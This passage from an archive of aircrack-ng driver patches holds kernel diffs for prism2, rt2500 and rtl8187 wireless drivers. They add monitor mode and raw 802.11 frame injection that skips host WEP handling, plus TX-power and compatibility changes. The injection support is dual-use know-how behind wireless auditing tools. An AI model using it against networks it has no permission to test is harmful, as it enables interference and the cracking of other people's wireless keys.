host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); + + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); + // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + usbpktlen+=8; + } else { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(hw->txbuff.txfrm.desc.data_len), skb->data, 16); + skb_pull(skb,16); + if (hw->txbuff.txfrm.desc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } + // /* if we're using host WEP, increase size by IV+ICV */ + // if (p80211_wep->data) { + // hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); + // // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + // usbpktlen+=8; + // } else { + // hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); } usbpktlen += skb->len; /* copy over the WEP IV if we are using host WEP */ ptr = hw->txbuff.txfrm.data; - if (p80211_wep->data) { + // if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->iv, sizeof(p80211_wep->iv)); ptr+= sizeof(p80211_wep->iv); memcpy(ptr, p80211_wep->data, skb->len); } else { memcpy(ptr, skb->data, skb->len); } + /* copy over the packet data */ ptr+= skb->len; /* copy over the WEP ICV if we are using host WEP */ - if (p80211_wep->data) { + // if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->icv, sizeof(p80211_wep->icv)); } @@ -4221,6 +4263,17 @@ switch( HFA384x_RXSTATUS_MACPORT_GET(usbin->rxfrm.desc.status) ) { case 0: + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(usbin->rxfrm.desc.status) ) { + hfa384x_int_rxmonitor(wlandev, &usbin->rxfrm); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } + fc = ieee2host16(usbin->rxfrm.desc.frame_control); /* If exclude and we receive an unencrypted, drop it */ diff -ru linux-wlan-ng-0.2.5/src/prism2/driver/prism2mgmt.c linux-wlan-ng-0.2.5-patched/src/prism2/driver/prism2mgmt.c --- linux-wlan-ng-0.2.5/src/prism2/driver/prism2mgmt.c 2005-06-22 16:16:55.000000000 +0200 +++ linux-wlan-ng-0.2.5-patched/src/prism2/driver/prism2mgmt.c 2007-01-05 09:49:13.000000000 +0100 @@ -2860,9 +2860,12 @@ } /* Now if we're already sniffing, we can skip the rest */ - if (wlandev->netdev->type != ARPHRD_ETHER) { + // if (wlandev->netdev->type != ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { /* Set the port type to pIbss */ - word = HFA384x_PORTTYPE_PSUEDOIBSS; + // word = HFA384x_PORTTYPE_PSUEDOIBSS; + word = 5; // HFA384x_PORTTYPE_PSUEDOIBSS; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFPORTTYPE, word); if ( result ) { @@ -2874,6 +2877,8 @@ } if ((msg->keepwepflags.status == P80211ENUM_msgitem_status_data_ok) && (msg->keepwepflags.data != P80211ENUM_truth_true)) { /* Set the wepflags for no decryption */ + /* doesn't work - done from the CLI */ + /* Fix? KoreK */ word = HFA384x_WEPFLAGS_DISABLE_TXCRYPT | HFA384x_WEPFLAGS_DISABLE_RXCRYPT; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFWEPFLAGS, word); @@ -2919,7 +2924,9 @@ goto failed; } - if (wlandev->netdev->type == ARPHRD_ETHER) { + // if (wlandev->netdev->type == ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { WLAN_LOG_INFO("monitor mode enabled\n"); } diff -ru linux-wlan-ng-0.2.5/src/prism2/driver/prism2sta.c linux-wlan-ng-0.2.5-patched/src/prism2/driver/prism2sta.c --- linux-wlan-ng-0.2.5/src/prism2/driver/prism2sta.c 2006-01-19 22:25:50.000000000 +0100 +++ linux-wlan-ng-0.2.5-patched/src/prism2/driver/prism2sta.c 2007-01-05 09:49:50.000000000 +0100 @@ -410,7 +410,9 @@ DBFENTER; /* If necessary, set the 802.11 WEP bit */ - if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { + // if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { + if (((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) + && (skb->protocol != htons(ETH_P_80211_RAW))) { p80211_hdr->a3.fc |= host2ieee16(WLAN_SET_FC_ISWEP(1)); } aircrack-ng-1.1/patches/old/rt2500-cvs-20050724.patch0000644000000000000000000000435010761053203020105 0ustar rootrootdiff -ur ../rt2500-cvs-20050724/Module/rtmp_data.c ./Module/rtmp_data.c --- ../rt2500-cvs-20050724/Module/rtmp_data.c 2005-07-15 17:40:02.000000000 +0200 +++ ./Module/rtmp_data.c 2005-07-26 19:04:28.000000000 +0200 @@ -2741,6 +2741,23 @@ return (NDIS_STATUS_FAILURE); } + if (pAdapter->PortCfg.BssType == BSS_MONITOR) + { + pAdapter->TxRing[pAdapter->CurEncryptIndex].FrameType = BTYPE_DATA; + pDest = (PUCHAR) pAdapter->TxRing[pAdapter->CurEncryptIndex].va_data_addr; + pTxD = (PTXD_STRUC) pAdapter->TxRing[pAdapter->CurEncryptIndex].va_addr; + MlmeSetPsmBit(pAdapter, PWR_ACTIVE); + memcpy(pDest,skb->data,skb->len); + RTMPWriteTxDescriptor(pTxD, TRUE, CIPHER_NONE, FALSE, FALSE, FALSE, SHORT_RETRY, IFS_BACKOFF, pAdapter->PortCfg.TxRate, 4, skb->len, pAdapter->PortCfg.TxPreambleInUsed, AccessCategory); + + pAdapter->CurEncryptIndex++; + if (pAdapter->CurEncryptIndex >= TX_RING_SIZE) + pAdapter->CurEncryptIndex = 0; + pAdapter->RalinkCounters.EncryptCount++; + + goto skip_all_this_shit; + } + if (EnableTxBurst == 1) FrameGap = IFS_SIFS; else @@ -2779,6 +2796,7 @@ // // Start making 802.11 frame header + // this whole code is just a pathetic mess // memset(&Header_802_11, 0, sizeof(HEADER_802_11)); // Initialize 802.11 header for each fragment if (INFRA_ON(pAdapter)) @@ -3411,6 +3429,7 @@ } while (NumberRequired > 0); +skip_all_this_shit: // Kick Encrypt Control Register at the end of all ring buffer preparation RTMP_IO_WRITE32(pAdapter, SECCSR1, 0x1); diff -ur ../rt2500-cvs-20050724/Module/rtmp_main.c ./Module/rtmp_main.c --- ../rt2500-cvs-20050724/Module/rtmp_main.c 2005-07-15 17:40:02.000000000 +0200 +++ ./Module/rtmp_main.c 2005-07-26 19:03:46.000000000 +0200 @@ -354,6 +354,7 @@ DBGPRINT(RT_DEBUG_INFO, "<==== RTMPSendPackets\n"); +/* if (pAdapter->PortCfg.BssType == BSS_MONITOR) { dev_kfree_skb_irq(skb); @@ -368,7 +369,7 @@ // And Mibss for Ad-hoc mode setup dev_kfree_skb_irq(skb); } - else + else*/ { // This function has to manage NdisSendComplete return call within its routine // NdisSendComplete will acknowledge upper layer in two steps. aircrack-ng-1.1/patches/old/rtl8187_1010.0622v2.patch0000644000000000000000000007105510761053203020117 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_txpower/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/ieee80211.h 2007-02-17 13:42:56.967245565 +0100 @@ -156,6 +156,23 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +#define IW_MODE_MONITOR_PRISM 15 +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_txpower/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_hw.h 2007-02-17 13:42:57.047246772 +0100 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_txpower/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_rtl8225.h 2007-02-17 13:42:57.127247979 +0100 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_txpower/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_rtl8225z2.c 2007-02-17 13:42:53.757197143 +0100 @@ -418,7 +418,10 @@ /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; + priv->chtxpwr[ch] = max_cck_power_level; + } cck_power_level += priv->cck_txpwr_base; diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_txpower/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_wx.c 2007-02-17 13:42:53.787197595 +0100 @@ -21,6 +21,7 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 @@ -108,6 +109,63 @@ return ret; } +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv(dev); + down(&priv->wx_sem); + wrqu->power.value = priv->chtxpwr_ofdm[1] + MIN_TX_POWER; + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; + up(&priv->wx_sem); + + return 0; +} + +#if 0 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i = 0; + struct r8180_priv *priv = ieee80211_priv(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > MAX_TX_POWER) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < MIN_TX_POWER) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<=14;i++) + { + priv->chtxpwr[i] = wrqu->power.value + 1 - MIN_TX_POWER; + priv->chtxpwr_ofdm[i] = wrqu->power.value - MIN_TX_POWER; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + + return ret; +} +#endif + static int r8180_wx_set_rawtx(struct net_device *dev, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) @@ -623,8 +681,8 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + NULL, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_txpower/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2006-06-22 07:43:30.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8187_core.c 2007-02-17 13:42:53.827198198 +0100 @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -98,6 +99,10 @@ #endif static int channels = 0x3fff; +#define DEBUG_EPROM +#define DEBUG_REGISTERS +#define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -158,7 +163,6 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { @@ -407,13 +411,14 @@ return len; } - +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { struct r8180_priv *priv = ieee80211_priv(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) { @@ -561,7 +566,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -575,9 +593,9 @@ for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -1112,7 +1130,10 @@ struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + { + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + morefrag = 1; + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1557,10 +1578,10 @@ struct r8180_priv *priv = ieee80211_priv(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; + u8 hw_version; + u8 config3; //FIXME: these constants are placed in a bad pleace. @@ -1580,6 +1601,13 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); @@ -1622,7 +1650,11 @@ priv->ieee80211->mode = IEEE_G; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, @@ -1716,6 +1748,12 @@ priv->enable_gpio0 = 0; + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 @@ -1807,6 +1845,12 @@ priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; @@ -2291,13 +2335,17 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = NULL; + struct iwreq *wrq = NULL; + + int ret=-1; + + priv = (struct r8180_priv *)ieee80211_priv(dev); down(&priv->wx_sem); - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + wrq = (struct iwreq *)rq; + switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); @@ -2346,7 +2394,8 @@ if( flen <= rx_urb->actual_length){ - stats.signal = (desc[1] & 0x7f00)>>8; +// stats.signal = (desc[1] & 0x7f00)>>8; + stats.signal = (desc[1] & 0xff00)>>8; stats.noise = desc[1] &0xff; stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; @@ -2368,6 +2417,8 @@ // priv->rxskb = skb; // priv->tempstats = &stats; + + stats.signal -= stats.noise; if(!ieee80211_rx(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); @@ -2418,7 +2469,12 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; if (dev_alloc_name(dev, ifname) < 0){ diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_txpower/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2006-06-06 08:48:10.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8187.h 2007-02-17 13:42:57.197249035 +0100 @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -148,7 +151,7 @@ u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; + short prism_hdr; // struct timer_list scan_timer; /*short scanpending; diff -Naur rtl8187_orig/beta-8187/r8187.mod.c rtl8187_txpower/beta-8187/r8187.mod.c --- rtl8187_orig/beta-8187/r8187.mod.c 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8187.mod.c 2007-02-17 13:42:53.827198198 +0100 @@ -0,0 +1,25 @@ +#include +#include +#include + +MODULE_INFO(vermagic, VERMAGIC_STRING); + +struct module __this_module +__attribute__((section(".gnu.linkonce.this_module"))) = { + .name = KBUILD_MODNAME, + .init = init_module, +#ifdef CONFIG_MODULE_UNLOAD + .exit = cleanup_module, +#endif +}; + +static const char __module_depends[] +__attribute_used__ +__attribute__((section(".modinfo"))) = +"depends=ieee80211-rtl"; + +MODULE_ALIAS("usb:v0BDAp8187d*dc*dsc*dp*ic*isc*ip*"); +MODULE_ALIAS("usb:v0846p6100d*dc*dsc*dp*ic*isc*ip*"); +MODULE_ALIAS("usb:v0846p6A00d*dc*dsc*dp*ic*isc*ip*"); + +MODULE_INFO(srcversion, "B76939EB1EA6331677B0BFF"); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_txpower/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt.c 2007-02-17 13:43:15.707528258 +0100 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c 2007-02-17 13:43:15.707528258 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,20 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + #include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp-rtl.mod.c rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp-rtl.mod.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp-rtl.mod.c 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp-rtl.mod.c 2007-02-17 13:43:15.737528711 +0100 @@ -0,0 +1,20 @@ +#include +#include +#include + +MODULE_INFO(vermagic, VERMAGIC_STRING); + +struct module __this_module +__attribute__((section(".gnu.linkonce.this_module"))) = { + .name = KBUILD_MODNAME, + .init = init_module, +#ifdef CONFIG_MODULE_UNLOAD + .exit = cleanup_module, +#endif +}; + +static const char __module_depends[] +__attribute_used__ +__attribute__((section(".modinfo"))) = +"depends=ieee80211_crypt"; + diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt-rtl.mod.c rtl8187_txpower/ieee80211/ieee80211_crypt-rtl.mod.c --- rtl8187_orig/ieee80211/ieee80211_crypt-rtl.mod.c 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt-rtl.mod.c 2007-02-17 13:43:15.747528862 +0100 @@ -0,0 +1,20 @@ +#include +#include +#include + +MODULE_INFO(vermagic, VERMAGIC_STRING); + +struct module __this_module +__attribute__((section(".gnu.linkonce.this_module"))) = { + .name = KBUILD_MODNAME, + .init = init_module, +#ifdef CONFIG_MODULE_UNLOAD + .exit = cleanup_module, +#endif +}; + +static const char __module_depends[] +__attribute_used__ +__attribute__((section(".modinfo"))) = +"depends="; + diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c 2007-02-17 13:43:15.797529616 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -431,7 +439,11 @@ static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20) + struct hash_desc desc; +#endif struct scatterlist sg[2]; + int ret=0; if (tkey->tfm_michael == NULL) { printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); @@ -445,12 +457,21 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); +#else + if (crypto_hash_setkey(tkey->tfm_michael, key, 8)) + return -1; - return 0; + desc.tfm = tkey->tfm_michael; + desc.flags = 0; + ret = crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif + + return ret; } static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip-rtl.mod.c rtl8187_txpower/ieee80211/ieee80211_crypt_tkip-rtl.mod.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip-rtl.mod.c 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_tkip-rtl.mod.c 2007-02-17 13:43:15.827530068 +0100 @@ -0,0 +1,20 @@ +#include +#include +#include + +MODULE_INFO(vermagic, VERMAGIC_STRING); + +struct module __this_module +__attribute__((section(".gnu.linkonce.this_module"))) = { + .name = KBUILD_MODNAME, + .init = init_module, +#ifdef CONFIG_MODULE_UNLOAD + .exit = cleanup_module, +#endif +}; + +static const char __module_depends[] +__attribute_used__ +__attribute__((section(".modinfo"))) = +"depends=ieee80211_crypt"; + diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c 2007-02-17 13:43:15.837530219 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep-rtl.mod.c rtl8187_txpower/ieee80211/ieee80211_crypt_wep-rtl.mod.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep-rtl.mod.c 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_wep-rtl.mod.c 2007-02-17 13:43:15.877530823 +0100 @@ -0,0 +1,20 @@ +#include +#include +#include + +MODULE_INFO(vermagic, VERMAGIC_STRING); + +struct module __this_module +__attribute__((section(".gnu.linkonce.this_module"))) = { + .name = KBUILD_MODNAME, + .init = init_module, +#ifdef CONFIG_MODULE_UNLOAD + .exit = cleanup_module, +#endif +}; + +static const char __module_depends[] +__attribute_used__ +__attribute__((section(".modinfo"))) = +"depends=ieee80211_crypt"; + diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_txpower/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211.h 2007-02-17 13:43:11.897470784 +0100 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_txpower/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_module.c 2007-02-17 13:43:15.907531275 +0100 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); diff -Naur rtl8187_orig/ieee80211/ieee80211-rtl.mod.c rtl8187_txpower/ieee80211/ieee80211-rtl.mod.c --- rtl8187_orig/ieee80211/ieee80211-rtl.mod.c 1970-01-01 01:00:00.000000000 +0100 +++ 